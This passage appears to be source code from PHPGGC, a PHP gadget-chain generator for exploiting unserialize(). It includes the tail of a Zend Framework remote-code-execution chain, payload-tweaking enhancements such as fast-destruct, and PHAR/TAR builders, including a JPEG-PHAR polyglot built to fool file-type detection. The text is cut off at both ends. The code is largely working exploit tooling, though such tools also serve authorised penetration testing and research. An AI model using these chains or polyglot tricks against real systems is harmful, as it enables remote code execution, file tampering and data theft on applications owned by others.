13 $parameter = $parameters["parameter"];
14
15 return new \Zend\Log\Logger($function, $parameter);
16 }
17 }
0 <?php
1 namespace Zend\Log {
2 class Logger {
3 protected $writers;
4
5 function __construct($function, $param) {
6 $this->writers = array(
7 new \Zend\Log\Writer\Mail($function, $param)
8 );
9 }
10 }
11 }
12
13 namespace Zend\Log\Writer {
14 class Mail {
15 protected $eventsToMail;
16 protected $subjectPrependText;
17 protected $numEntriesPerPriority;
18
19 function __construct($function, $param) {
20 $this->eventsToMail = array(0);
21 $this->subjectPrependText = "";
22 $this->numEntriesPerPriority = array(
23 0 => new \Zend\Tag\Cloud($function, $param)
24 );
25 }
26 }
27 }
28
29 namespace Zend\Tag {
30 class Cloud {
31 protected $tags;
32 protected $tagDecorator;
33
34 function __construct($function, $param) {
35 $this->tags = array("");
36 $this->tagDecorator = new \Zend\Tag\Cloud\Decorator\HtmlCloud($function, $param);
37 }
38 }
39 }
40
41 namespace Zend\Tag\Cloud\Decorator {
42 class HtmlCloud {
43 protected $separator;
44 protected $escaper;
45 protected $htmlTags;
46
47 function __construct($function, $param) {
48 $this->separator = "";
49 $this->htmlTags = array(
50 "h" => array(
51 "a" => "!"
52 )
53 );
54 $this->escaper = new \Zend\Escaper\Escaper($function, $param);
55 }
56 }
57 }
58
59 namespace Zend\Escaper {
60 class Escaper {
61 protected $htmlAttrMatcher;
62
63 function __construct($function, $param) {
64 $this->htmlAttrMatcher = array(
65 new \Zend\Filter\FilterChain($function, $param),
66 "filter"
67 );
68 }
69 }
70 }
71
72 namespace Zend\Filter {
73 class FilterChain {
74 protected $filters;
75
76 function __construct($function, $param) {
77 $this->filters = new \SplFixedArray(2);
78 $this->filters[0] = array(
79 new \Zend\Json\Expr($param),
80 "__toString"
81 );
82 $this->filters[1] = $function;
83 }
84 }
85 }
86
87 namespace Zend\Json {
88 class Expr {
89 protected $expression;
90
91 function __construct($param) {
92 $this->expression = $param;
93 }
94 }
95 }
0 <?php
1
2 namespace PHPGGC\Enhancement;
3
4 /**
5 * ASCII Strings
6 * Uses the "S" serialization format instead of the standard "s". This
7 * replaces every non-ASCII value to an hexadecimal representation:
8 * s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\00B\09\0D";
9 * This is experimental and it might not work in some cases.
10 */
11 class ASCIIStrings extends Enhancement
12 {
13 public function process_serialized($serialized)
14 {
15 $new = '';
16 $last = 0;
17 $current = 0;
18 $pattern = '#\bs:([0-9]+):"#';
19
20 while(
21 $current < strlen($serialized) &&
22 preg_match(
23 $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
24 )
25 )
26 {
27
28 $p_start = $matches[0][1];
29 $p_start_string = $p_start + strlen($matches[0][0]);
30 $length = $matches[1][0];
31 $p_end_string = $p_start_string + $length;
32
33 # Check if this really is a serialized string
34 if(!(
35 strlen($serialized) > $p_end_string + 2 &&
36 substr($serialized, $p_end_string, 2) == '";'
37 ))
38 {
39 $current = $p_start_string;
40 continue;
41 }
42 $string = substr($serialized, $p_start_string, $length);
43
44 # Convert every special character to its S representation
45 $clean_string = '';
46 for($i=0; $i < strlen($string); $i++)
47 {
48 $letter = $string{$i};
49 $clean_string .= ctype_print($letter) && $letter != '\\' ?
50 $letter :
51 sprintf("\\%02x", ord($letter));
52 ;
53 }
54
55 # Make the replacement
56 $new .=
57 substr($serialized, $last, $p_start - $last) .
58 'S:' . $matches[1][0] . ':"' . $clean_string . '";'
59 ;
60 $last = $p_end_string + 2;
61 $current = $last;
62 }
63
64 $new .= substr($serialized, $last);
65 return $new;
66 }
67 }
0 <?php
1
2 namespace PHPGGC\Enhancement;
3
4 abstract class Enhancement
5 {
6 public function process_parameters($parameters)
7 {
8 return $parameters;
9 }
10
11 public function process_object($object)
12 {
13 return $object;
14 }
15
16 public function process_serialized($serialized)
17 {
18 return $serialized;
19 }
20 }
0 <?php
1
2 namespace PHPGGC\Enhancement;
3
4 class Enhancements
5 {
6 public function __construct($enhancements)
7 {
8 $this->enhancements = $enhancements;
9 }
10
11 /**
12 * Calls method $method on every enhancement.
13 */
14 public function __call($method, $arguments)
15 {
16 $argument = $arguments[0];
17 foreach($this->enhancements as $enhancement)
18 {
19 $argument = $enhancement->$method(
20 $argument
21 );
22 }
23 return $argument;
24 }
25 }
0 <?php
1
2 namespace PHPGGC\Enhancement;
3
4 /**
5 * Fast Destruct
6 * Applies the fast-destruct technique, so that the object is destroyed
7 * right after the unserialize() call, as opposed to at the end of the
8 * script.
9 *
10 * This is very useful because sometimes the script throws an exception
11 * after unserializing the object, and therefore __destruct() will never be
12 * called.
13 *
14 * The object is put in a 2-item array. Both items have the same key.
15 * Since the object has been put first, it is removed when the second item
16 * is processed (same key). It will therefore be destroyed, and as a result
17 * __destruct() will be called right after the unserialize() call, instead
18 * of at the end of the script.
19 */
20 class FastDestruct extends Enhancement
21 {
22 const FAST_DESTRUCT_TEMP_KEY = 7896543210;
23 const FAST_DESTRUCT_FINAL_KEY = 7;
24
25 /*
26 * Pre-process step simply puts the object in an identifiable 2-elements
27 * array.
28 */
29 public function process_object($object)
30 {
31 $key = self::FAST_DESTRUCT_TEMP_KEY;
32 return [$key => $object, $key + 1 => $key];
33 }
34
35 /**
36 * Post process step of the fast-destruct technique: replaces the original
37 * array with an array with the two same keys.
38 */
39 public function process_serialized($serialized)
40 {
41 /*
42 This replaces the whole array structure, but it could not work in some
43 edge cases. The second technique is more permissive but should not cause
44 problems.
45
46 $find = (
47 '#a:2:{' .
48 'i:' . self::FAST_DESTRUCT_TEMP_KEY . ';' .
49 '(.*?)' .
50 'i:' . (self::FAST_DESTRUCT_TEMP_KEY + 1) . ';' .
51 'i:' . self::FAST_DESTRUCT_TEMP_KEY . ';' .
52 '}#s'
53 );
54 $replace = (
55 'a:2:{' .
56 'i:' . self::FAST_DESTRUCT_FINAL_KEY . ';' .
57 '\1' .
58 'i:' . self::FAST_DESTRUCT_FINAL_KEY . ';' .
59 'i:' . self::FAST_DESTRUCT_FINAL_KEY . ';' .
60 '}'
61 );
62 */
63 $find = (
64 '#i:(' .
65 self::FAST_DESTRUCT_TEMP_KEY . '|' .
66 (self::FAST_DESTRUCT_TEMP_KEY + 1) .
67 ');#'
68 );
69 $replace = 'i:' . self::FAST_DESTRUCT_FINAL_KEY . ';';
70 return preg_replace($find, $replace, $serialized);
71 }
72 }
0 <?php
1
2 namespace PHPGGC\Enhancement;
3
4 /**
5 * Adds a + (plus) symbol before every integer symbol of given type.
6 * For instance, with 'Osi',
7 * O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":+1:{s:+1:"x";i:+3;}
8 * With 's':
9 * O:3:"Abc":1:{s:1:"x";i:3;} -> O:3:"Abc":1:{s:+1:"x";i:3;}
10 *
11 * Note: Since PHP 7.2, only i and d (float) types can have a +.
12 */
13 class PlusNumbers extends Enhancement
14 {
15 private $types;
16
17 public function __construct($types)
18 {
19 $this->types = $types;
20 }
21
22 public function process_serialized($serialized)
23 {
24 $types = preg_quote($this->types, '#');
25 $serialized = preg_replace(
26 '#\b([' . $types . ']):(\d+)([:;])#',
27 '$1:+$2$3',
28 $serialized
29 );
30 return $serialized;
31 }
32 }
0 <?php
1
2 namespace PHPGGC\Enhancement;
3
4 /**
5 * Wrapper
6 * Includes a file and calls its process_parameters, process_object
7 * and process_serialized methods, if they exist.
8 * This allows users to define custom actions so that the payload can be
9 * formatted as they want it.
10 */
11 class Wrapper extends Enhancement
12 {
13 public function __construct($filename)
14 {
15 require_once $filename;
16
17 if(
18 !function_exists('process_parameters') &&
19 !function_exists('process_object') &&
20 !function_exists('process_serialized')
21 )
22 {
23 $message = (
24 'Wrapper file does not define process_parameters(), ' .
25 'process_object() or process_serialized()'
26 );
27 throw new \PHPGGC\Exception($message);
28 }
29 }
30
31 private function _call_if_exists($function, $data)
32 {
33 if(function_exists($function))
34 return call_user_func($function, $data);
35 return $data;
36 }
37
38 public function process_parameters($parameters)
39 {
40 return $this->_call_if_exists('process_parameters', $parameters);
41 }
42
43 public function process_object($payload)
44 {
45 return $this->_call_if_exists('process_object', $payload);
46 }
47
48 public function process_serialized($serialized)
49 {
50 return $this->_call_if_exists('process_serialized', $serialized);
51 }
52 }
0 <?php
1
2 namespace PHPGGC;
3
4 class Exception extends \Exception
5 {
6
7 }
0 <?php
1
2 namespace PHPGGC\GadgetChain;
3
4 abstract class FileDelete extends \PHPGGC\GadgetChain
5 {
6 public static $type = self::TYPE_FD;
7 public static $parameters = [
8 'remote_file'
9 ];
10 }
0 <?php
1
2 namespace PHPGGC\GadgetChain;
3
4 abstract class FileRead extends \PHPGGC\GadgetChain
5 {
6 public static $type = self::TYPE_FR;
7 public static $parameters = [
8 'remote_file'
9 ];
10 }
0 <?php
1
2 namespace PHPGGC\GadgetChain;
3
4 abstract class FileWrite extends \PHPGGC\GadgetChain
5 {
6 public static $type = self::TYPE_FW;
7 public static $parameters = [
8 'remote_path',
9 'local_path'
10 ];
11
12 public function process_parameters(array $parameters)
13 {
14 $local_path = $parameters['local_path'];
15
16 if(!file_exists($local_path))
17 throw new \PHPGGC\Exception('Unable to read local file: ' . $parameters['local_path']);
18
19 $parameters['data'] = file_get_contents($local_path);
20 return $parameters;
21 }
22 }
0 <?php
1
2 namespace PHPGGC\GadgetChain;
3
4 abstract class PHPInfo extends \PHPGGC\GadgetChain
5 {
6 public static $type = self::TYPE_INFO;
7 }
0 <?php
1
2 namespace PHPGGC\GadgetChain;
3
4 abstract class RCE extends \PHPGGC\GadgetChain
5 {
6 public static $type = self::TYPE_RCE;
7 public static $parameters = [
8 'function',
9 'parameter'
10 ];
11 }
0 <?php
1
2 namespace PHPGGC\GadgetChain;
3
4 abstract class SqlInjection extends \PHPGGC\GadgetChain
5 {
6 public static $type = self::TYPE_SQLI;
7 public static $parameters = [
8 'sql'
9 ];
10 }
0 <?php
1
2 namespace PHPGGC;
3
4 /**
5 * Class handling the generation of a gadget chain specific to a PHP CMS,
6 * framework, or library.
7 * The class will automatically include the chain.php file present in the same
8 * directory.
9 *
10 * Upon calling generate(), this object produces a gadget chain object.
11 * The object can then be serialize()d into a serialized string.
12 * Calling unserialize() on the string, in the right environment, should produce
13 * an action: execute a PHP function, write a file, delete a file, etc.
14 *
15 * Depending on the type of the chain, some parameters must be given. For
16 * instance, an RCE Gadget Chain generally requires the name of a function to
17 * execute, along with its parameter(s).
18 * A file write gadget chain requires the path of the remote file we wish to
19 * write, and the path of a local file whose content is to be written.
20 *
21 * Along with the generate() method, which converts parameters into an object,
22 * three generic methods are available:
23 * - process_parameters($parameters)
24 * - process_object($object)
25 * - process_serialized($serialized)
26 *
27 * Those methods are to be found in other PHPGGC classes, for instance the main
28 * class for handling CLI, PHPGGC. Refer to their documentation to understand
29 * their usage.
30 */
31 abstract class GadgetChain
32 {
33 public $name;
34 public static $type;
35 public static $version = '?';
36 # Vector to start the chain: __destruct, __toString, offsetGet, etc.
37 public static $vector = '';
38 public static $author = '';
39 public static $parameters = [];
40 public static $informations;
41
42 # Types
43 const TYPE_RCE = 'rce';
44 const TYPE_FI = 'file_include';
45 const TYPE_FR = 'file_read';
46 const TYPE_FW = 'file_write';
47 const TYPE_FD = 'file_delete';
48 const TYPE_SQLI = 'sql_injection';
49 const TYPE_INFO = 'phpinfo()';
50
51 function __construct()
52 {
53 $this->load_gadgets();
54 }
55
56 protected function load_gadgets()
57 {
58 $directory = dirname((new \ReflectionClass($this))->getFileName());
59 require_once $directory . '/gadgets.php';
60 }
61
62 /**
63 * Generates the gadget chain object from given parameters.
64 * Parameters are expected to have been processed before.
65 *
66 * @param array $parameters Gadget chain parameters
67 * @return Object
68 */
69 abstract public function generate(array $parameters);
70
71 /**
72 * Modifies given parameters if required.
73 * Called before `generate()`.
74 * This is called on the gadget chain's parameters, such as for instance
75 * "remote_file" and "local_file" for a file write chain.
76 *
77 * @param array $parameters Gadget chain parameters
78 * @return array Modified parameters
79 */
80 public function process_parameters(array $parameters)
81 {
82 return $parameters;
83 }
84
85 /**
86 * Modifies the object generated by this class if required.
87 * Called after the object has been generated using `generate()`, and before
88 * `serialize()`.
89 *
90 * One of the main usages is to convert given object into something that can
91 * be processed by the targeted system.
92 * @param Object $parameters Gadget chain object
93 * @return Object Modified object
94 */
95 public function process_object($object)
96 {
97 return $object;
98 }
99
100 /**
101 * Modifies given serialized string if required.
102 * Called after `serialize()`.
103 * For instance, if a class is meant to be named A\B\C but has been named
104 * A_B_C in the gadget for convenience, it can be str_replace()d here.
105 *
106 * @param string $serialized Serialized string representing the gadget chain
107 * @return string Modified serialized string
108 */
109 public function process_serialized($serialized)
110 {
111 return $serialized;
112 }
113
114 /**
115 * Returns a string describing the gadget chain.
116 */
117 public function __toString()
118 {
119 $infos = [
120 'Name' => static::get_name(),
121 'Version' => static::$version,
122 'Type' => static::$type,
123 'Vector' => static::$vector
124 ];
125
126 $strings = [];
127
128 if(static::$informations)
129 {
130 $informations = trim(static::$informations);
131 $informations = preg_replace("#\n\s+#", "\n", $informations);
132 $infos['Informations'] = "\n" . $informations;
133 }
134
135 foreach($infos as $k => $v)
136 {
137 $strings[] = str_pad($k, 15) . ': ' . $v;
138 }
139
140 return implode("\n", $strings);
141 }
142
143 /**
144 * Returns a standard name for the gadget chain, generally of the form
145 * <Framework>/<Type><N>, for instance Guzzle/RCE1.
146 */
147 public static function get_name()
148 {
149 $class = static::class;
150 $class = substr($class, strpos($class, '\\') + 1);
151 $class = str_replace('\\', '/', $class);
152 return $class;
153 }
154 }
0 <?php
1
2 namespace PHPGGC;
3
4 class InvalidArgumentsException extends Exception
5 {
6
7 }
0 <?php
1
2 namespace PHPGGC\Phar;
3
4 /**
5 * Abstract class representing a phar file format.
6 * Usage:
7 *
8 */
9 abstract class Format
10 {
11 protected $format = '';
12 public $data;
13 public $parameters = [
14 'filename' => 'test.txt',
15 'prefix' => ''
16 ];
17
18 /**
19 * Creates an instance of a PHAR file format.
20 *
21 * @param string $metadata PHAR's metadata (serialized payload)
22 * @param array $parameters
23 */
24 public function __construct($metadata, $parameters=[])
25 {
26 $this->metadata = $metadata;
27 $this->parameters = $parameters + $this->parameters;
28 }
29
30 /**
31 * Generates the contents of the PHAR file.
32 *
33 * @returns string Content of generated PHAR file
34 */
35 public function generate()
36 {
37 $this->generate_dummy_metadata();
38 $this->generate_base_phar();
39 $this->replace_metadata();
40 $this->update_signature();
41 return $this->data;
42 }
43
44 protected function generate_base_phar()
45 {
46 $path = (
47 sys_get_temp_dir() . DIRECTORY_SEPARATOR .
48 'phpggc' . $this->format . '.phar'
49 );
50 @unlink($path);
51
52 $phar = new \Phar($path);
53 $phar->startBuffering();
54 $phar->addFromString("dummy", 'test');
55 $phar->addFromString($this->parameters['filename'], 'test');
56 $phar->setStub(
57 $this->parameters['prefix'] .
58 '<?php __HALT_COMPILER(); ?>'
59 );
60 $phar->setMetadata($this->dummy_metadata);
61
62 # Since we might generate a new signature, we need to make sure the
63 # algorithm is valid
64 $phar->setSignatureAlgorithm(\Phar::SHA1);
65 $phar->stopBuffering();
66
67 $this->data = file_get_contents($path);
68 unlink($path);
69 }
70
71 protected function generate_dummy_metadata()
72 {
73 # We want our fake metadata to have the same size as our serialized
74 # payload, so that we can make an in-place replacement in archives
75 $dummy_size = strlen($this->metadata) - strlen('s::"";');
76 $dummy_size = $dummy_size - strlen($dummy_size);
77 $this->dummy_metadata = str_repeat('A', $dummy_size);
78 }
79
80 /**
81 * Updates the PHAR signature of the file.
82 * It is format-dependant and therefore abstract.
83 */
84 abstract protected function update_signature();
85
86 /**
87 * Makes an in-place replacement at $offset in $data
88 */
89 protected function in_place_replace($data, $offset, $change)
90 {
91 return
92 substr($data, 0, $offset) .
93 $change .
94 substr($data, $offset + strlen($change))
95 ;
96 }
97
98 /**
99 * Returns the signature for given data.
100 */
101 protected function compute_signature($data)
102 {
103 return hex2bin(sha1($data));
104 }
105
106 /**
107 * Replaces every occurence of the fake metadata by the real one.
108 */
109 protected function replace_metadata()
110 {
111 $this->data = str_replace(
112 serialize($this->dummy_metadata), $this->metadata, $this->data
113 );
114 }
115 }
0 <?php
1
2 namespace PHPGGC\Phar;
3
4
5 class Phar extends Format
6 {
7 protected $format = '.phar';
8
9 protected function update_signature()
10 {
11 $data = substr($this->data, 0, -28);
12 $signature = $this->compute_signature($data);
13 $this->data = $this->in_place_replace($this->data, -28, $signature);
14 }
15 }
0 <?php
1
2 namespace PHPGGC\Phar;
3
4
5 class Tar extends Format
6 {
7 protected $format = '.tar';
8
9 const SIZE_HEADER = 512;
10 const OFFSET_SIZE = 124;
11 const OFFSET_CHECKSUM = 148;
12 const NULL = "\x00";
13
14 public $parameters = [
15 'filename' => 'test.txt',
16 'prefix' => '',
17 'jpeg' => null
18 ];
19
20 public function generate_base_phar()
21 {
22 parent::generate_base_phar();
23 if($this->parameters['jpeg'])
24 {
25 $jpeg = file_get_contents($this->parameters['jpeg']);
26 $this->generate_polyglot($jpeg);
27 }
28 }
29
30 /**
31 * Finds the TAR header associated to file $path.
32 */
33 private function find_header($path)
34 {
35 $header_start = str_pad($path, 100, self::NULL);
36 $pos = strpos($this->data, $header_start);
37 if($pos === false)
38 {
39 $e = 'Unable to find header for path "' . $path . '"';
40 throw new Èxception($e);
41 }
42 return $pos;
43 }
44
45 /**
46 * Replaces the contents of a file in the TAR archive. It works only if
47 * the original data and the new one have the same size, as the header
48 * will not change.
49 */
50 protected function replace_file($path, $data)
51 {
52 $header_position = $this->find_header($path);
53 $this->data = $this->in_place_replace(
54 $this->data, $header_position + self::SIZE_HEADER, $data
55 );
56 }
57
58 /**
59 * Computes a TAR header checksum
60 */
61 private function compute_checksum($header)
62 {
63 $checksum = 0;
64
65 for ($i=0;$i<self::SIZE_HEADER;$i++)
66 {
67 $checksum += ord(substr($header, $i, 1));
68 }
69
70 return sprintf("%07o", $checksum);
71 }
72
73 /**
74 * The signature of the TAR file is computed with the whole file content
75 * except, obviously, the signature file.
76 */
77 protected function update_signature()
78 {
79 $data = substr(
80 $this->data, 0, $this->find_header('.phar/signature.bin')
81 );
82 $signature = $this->compute_signature($data);
83 $signature = "\x02\x00\x00\x00\x14\x00\x00\x00" . $signature;
84 $this->replace_file('.phar/signature.bin', $signature);
85 }
86
87 /**
88 * Replaces the contents of a file in the TAR archive.
89 * This is not used anymore but I cannot bring myself to remove it.
90 */
91 protected function replace_file_different_size($path, $data)
92 {
93 $tar = $this->data;
94 $position = $this->find_header($path);
95 $header = substr($tar, $position, self::SIZE_HEADER);
96
97 $new_size = sprintf("%11o", strlen($data));
98
99 $header = $this->in_place_replace(
100 $header, self::OFFSET_CHECKSUM, " "
101 );
102 $header = $this->in_place_replace(
103 $header, self::OFFSET_SIZE, $new_size
104 );
105
106 $checksum = $this->compute_checksum($header);
107 $header = $this->in_place_replace(
108 $header, self::OFFSET_CHECKSUM, $checksum
109 );
110
111 $tar = $this->in_place_replace(
112 $tar, $position, $header
113 );
114 $tar = $this->in_place_replace(
115 $tar, $position + self::SIZE_HEADER, $data
116 );
117
118 $this->data = $tar;
119 }
120
121 /**
122 * Generates a polyglot file that is a JPEG and a PHAR.
123 */
124 function generate_polyglot($jpeg)
125 {
126 $phar = substr($this->data, 6);
127 $len = strlen($phar);
128 $contents =
129 substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) .
130 chr($len & 0xff) . $phar . substr($jpeg, 2);
131 $contents =
132 substr($contents, 0, 148) .
133 " " .
134 substr($contents, 156, 344) . "aaaa" . substr($contents, 504)
135 ;
136
137 $chksum = 0;
138
139 for ($i=0;$i<512;$i++)
140 {
141 $chksum += ord(substr($contents, $i, 1));
142 }
143
144 // make a checksum that PHP detects as valid, but libmagic doesn't
145 // this ensures that the file will be detected as JPEG and not as tar
146 $oct = sprintf("%06o", $chksum) . "x";
147 $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
148 $this->data = $contents;
149 }
150 }
0 <?php
1
2 namespace PHPGGC\Phar;
3
4
5 class Zip extends Format
6 {
7 protected $format = '.zip';
8
9 protected function update_signature()
10 {
11 // nothing yet :(
12 }
13 }
0 <?php
1 # PHPGGC: PHP Generic Gadget Chains
2 # Library of generic exploitation vectors for unserialize()
3 #
4
5 define('DIR_BASE', realpath(dirname(dirname(__FILE__))));
6 define('DIR_TEMPLATES', DIR_BASE . '/templates');
7 define('DIR_LIB', DIR_BASE . '/lib');
8 define('DIR_GADGETCHAINS', DIR_BASE . '/gadgetchains');
9
10
11 use \PHPGGC\Enhancement;
12
13
14 PHPGGC::autoload_register();
15 PHPGGC::include_gadget_chains();
16
17
18 /**
19 * This class is meant to handle CLI parameters and return a serialized payload
20 * under different forms.
21 */
22 class PHPGGC
23 {
24 protected $chains;
25
26 public function __construct()
27 {
28 $this->chains = $this->load_gadget_chains();
29 }
30
31 /**
32 * Generates a payload from the command line arguments.
33 * First, the gadget is loaded, and then it is generated using additional
34 * arguments.
35 */
36 public function generate()
37 {
38 global $argv;
39
40 $parameters = $this->parse_cmdline($argv);
41
42 if($parameters === null)
43 return;
44
45 if(count($parameters) < 1)
46 {
47 $this->help();
48 return;
49 }
50
51 $class = array_shift($parameters);
52 $gc = $this->get_gadget_chain($class);
53
54 $this->setup_enhancements();
55 $parameters = $this->get_type_parameters($gc, $parameters);
56 $generated = $this->serialize($gc, $parameters);
57
58 if(in_array('test-payload', $this->options))
59 $this->test_payload($gc, $generated);
60 else
61 $this->output_payload($generated);
62 }
63
64 /**
65 * Runs generated payload using the ./template/test_payload.php script.
66 * We have to use system() here, because the classes used during the
67 * deserialization process are already defined by PHPGGC, and there is no
68 * mechanism allowing to delete classes in PHP. Therefore, a new PHP process
69 * has to be created.
70 */
71 public function test_payload($gc, $payload)
72 {
73 $this->o('Trying to deserialize payload...');
74 $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector;
75 system(
76 escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' .
77 escapeshellarg($vector) . ' ' .
78 escapeshellarg(base64_encode($payload))
79 );
80 }
81
82 /**
83 * Displays the payload or stores it in a file.
84 */
85 public function output_payload($payload)
86 {
87 if(!isset($this->parameters['output']))
88 {
89 print($payload);
90 if (!isset($this->parameters['phar']))
91 print("\n");
92 }
93 else
94 {
95 file_put_contents($this->parameters['output'], $payload);
96 }
97 }
98
99 /**
100 * Returns an instance of the given gadget chain.
101 */
102 public function get_gadget_chain($name)
103 {
104 $name = strtolower($name);
105 if(!array_key_exists($name, $this->chains))
106 {
107 $this->e('Unknown gadget chain: ' . $name);
108 }
109
110 $class = $this->chains[$name];
111
112 if(
113 isset($this->parameters['phar']) &&
114 $class::$vector != '__destruct' &&
115 $class::$vector != '__wakeup'
116 )
117 {
118 $this->e('Phar requires either a __destruct or a __wakeup vector');
119 }
120
121 return new $class();
122 }
123
124 /**
125 * Create enhancement instances from given options
126 */
127 public function setup_enhancements()
128 {
129 $enhancements = [];
130
131 if(isset($this->parameters['wrapper']))
132 $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']);
133 if(in_array('fast-destruct', $this->options))
134 $enhancements[] = new Enhancement\FastDestruct();
135 if(in_array('ascii-strings', $this->options))
136 $enhancements[] = new Enhancement\ASCIIStrings();
137 if(isset($this->parameters['plus-numbers']))
138 $enhancements[] = new Enhancement\PlusNumbers(
139 $this->parameters['plus-numbers']
140 );
141 $this->enhancements = new Enhancement\Enhancements($enhancements);
142 }
143
144 /**
145 * Generates the serialized payload from given gadget and parameters.
146 */
147 public function serialize($gc, $parameters)
148 {
149 $parameters = $this->process_parameters($gc, $parameters);
150 $object = $gc->generate($parameters);
151 $object = $this->process_object($gc, $object);
152 $serialized = serialize($object);
153 $serialized = $this->process_serialized($gc, $serialized);
154 return $serialized;
155 }
156
157 /**
158 * Includes every file that might contain a gadget chain.
159 */
160 public static function include_gadget_chains()
161 {
162 $iterator = new RecursiveIteratorIterator(
163 new RecursiveDirectoryIterator(DIR_GADGETCHAINS),
164 RecursiveIteratorIterator::LEAVES_ONLY
165 );
166 $regex = '#' . preg_quote(DIRECTORY_SEPARATOR) . 'chain.php$#';
167 foreach ($iterator as $filename)
168 {
169 if(preg_match($regex, $filename))
170 include_once $filename;
171 }
172 }
173
174 /**
175 * Loads every available gadget and returns an array of the form
176 * class_name => class.
177 */
178 public function load_gadget_chains()
179 {
180 $classes = get_declared_classes();
181 $classes = array_filter($classes, function($class) {
182 return is_subclass_of($class, '\\PHPGGC\\GadgetChain') &&
183 strpos($class, 'GadgetChain\\') === 0;
184 });
185
186 # Convert backslashes in classes names to forward slashes,
187 # so that the command line is easier to use
188 $names = array_map(function($class) {
189 return strtolower($class::get_name());
190 }, $classes);
191
192 $gcs = array_combine($names, $classes);
193 ksort($gcs);
194
195 return $gcs;
196 }
197
198 /**
199 * Registers PHPGGC's autoload function.
200 */
201 public static function autoload_register()
202 {
203 spl_autoload_register(array(static::class, 'autoload'));
204 }
205
206 /**
207 * Autoloads PHPGGC base classes only, in order to avoid conflict between
208 * different gadget chains.
209 */
210 public static function autoload($class)
211 {
212 $file = DIR_LIB . '/' . str_replace('\\', '/', $class) . '.php';
213 if(file_exists($file))
214 require_once $file;
215 }
216
217 /**
218 * Creates the file structure for a new gadget chain targeting $name and of
219 * type $type.
220 */
221 function new_gc($name, $type)
222 {
223 $namespace = '\\PHPGGC\\GadgetChain';
224
225 # Check type
226
227 $type = strtoupper($type);
228 $reflection = new ReflectionClass($namespace);
229 $constant = 'TYPE_' . $type;
230 $value = $reflection->getConstant($constant);
231
232 if($value === false)
233 {
234 $this->o('Invalid type: ' . $type);
235 return;
236 }
237
238 # Match base class from type
239
240 $files = glob(DIR_LIB . '/PHPGGC/GadgetChain/*.php');
241
242 foreach($files as $file)
243 {
244 $classname = substr(basename($file), 0, -4);
245 $classname = $namespace . '\\' . $classname;
246 $reflection = new ReflectionClass($classname);
247
248 if($reflection->getProperty('type')->getValue() === $value)
249 {
250 $baseclass = $reflection;
251 break;
252 }
253 }
254
255 if(!isset($baseclass))
256 {
257 $this->o('No base class for type: ' . $type);
258 return;
259 }
260
261 # Create directory structure
262
263 $base = DIR_GADGETCHAINS . '/' . $name . '/' . $type . '/';
264
265 for($i=1;file_exists($base . $i);$i++);
266
267 $base = $base . $i;
268 mkdir($base, 0777, true);
269
270 $replacements = [
271 '{NAME}' => $name,
272 '{CLASS_NAME}' => $type . $i,
273 '{BASE_CLASS_NAME}' => $baseclass->getName()
274 ];
275
276 $this->create_from_template($base, 'chain.php', $replacements);
277 $this->create_from_template($base, 'gadgets.php');
278
279 # Display success message
280
281 $full_name = $replacements['{NAME}'] . '\\'
282 . $replacements['{CLASS_NAME}'];
283 $base = substr($base, strlen(DIR_BASE) + 1);
284
285 $this->o('Created ' . $full_name . ' under: ' . $base);
286 }
287
288 /**
289 * Creates a file in directory $path from template $name.
290 */
291 function create_from_template($path, $name, $replacements=null)
292 {
293 $template = DIR_TEMPLATES . '/' . $name;
294 $template = file_get_contents($template);
295
296 if($replacements)
297 $template = strtr($template, $replacements);
298
299 file_put_contents($path . '/' . $name, $template);
300 }
301
302 #
303 # Phar
304 #
305
306 /**
307 * Generates a PHAR file of the correct format (PHAR, TAR, ZIP).
308 */
309 function phar_generate($serialized)
310 {
311 if(ini_get('phar.readonly') == '1')
312 {
313 $this->e('Cannot create phar: phar.readonly is set to 1');
314 }
315
316 $format = $this->parameters['phar'];
317
318 $prefix = '';
319 $filename = 'test.txt';
320 $jpeg = null;
321
322 if(isset($this->parameters['phar-prefix']))
323 $prefix = file_get_contents($this->parameters['phar-prefix']);
324 if(isset($this->parameters['phar-filename']))
325 $filename = $this->parameters['phar-filename'];
326 if(isset($this->parameters['phar-jpeg']))
327 $jpeg = $this->parameters['phar-jpeg'];
328
329 $class = 'PHPGGC\\Phar\\' . ucfirst($format);
330
331 $phar = new $class($serialized, compact('prefix', 'filename', 'jpeg'));
332 return $phar->generate();
333 }
334
335 /**
336 * Applies command line parameters and options to the gadget chain
337 * parameters.
338 */
339 protected function process_parameters($gc, $parameters)
340 {
341 $parameters = $this->enhancements->process_parameters($parameters);
342 $parameters = $gc->process_parameters($parameters);
343 return $parameters;
344 }
345
346 /**
347 * Applies command line parameters and options to the gadget chain object.
348 */
349 protected function process_object($gc, $object)
350 {
351 $object = $gc->process_object($object);
352 $object = $this->enhancements->process_object($object);
353 return $object;
354 }
355
356 /**
357 * Applies command line parameters and options to the serialized payload.
358 */
359 protected function process_serialized($gc, $serialized)
360 {
361 $serialized = $gc->process_serialized($serialized);
362 $serialized = $this->enhancements->process_serialized($serialized);
363
364 # Phar
365 if(isset($this->parameters['phar']))
366 $serialized = $this->phar_generate($serialized);
367
368 # Encoding
369 foreach($this->options as $v)
370 {
371 switch($v)
372 {
373 case 'base64':
374 $serialized = base64_encode($serialized);
375 break;
376 case 'url':
377 $serialized = urlencode($serialized);
378 break;
379 case 'soft':
380 $keys = str_split("%\x00\n\r\t+;");
381 $values = array_map('urlencode', $keys);
382 $serialized = str_replace($keys, $values, $serialized);
383 break;
384 case 'json':
385 $serialized = json_encode($serialized);
386 break;
387 }
388 }
389
390 return $serialized;
391 }
392
393 #
394 # Display
395 #
396
397 /**
398 * Displays a message.
399 */
400 function output($message, $r=1)
401 {
402 $n = str_repeat("\n", $r);
403 print($message . $n);
404 }
405
406 /**
407 * Wrapper for output().
408 */
409 protected function o($message, $r=1)
410 {
411 $this->output($message, $r);
412 }
413
414 protected function e($message)
415 {
416 throw new PHPGGC\Exception($message);
417 }
418
419 /**
420 * Generates an ASCII array.
421 */
422 protected function table($titles, $data)
423 {
424 $titles = array_map('strtoupper', $titles);
425 $data = array_merge([$titles], $data);
426 $pad = array_fill(0, count($titles), 0);
427
428 foreach($data as $row)
429 {
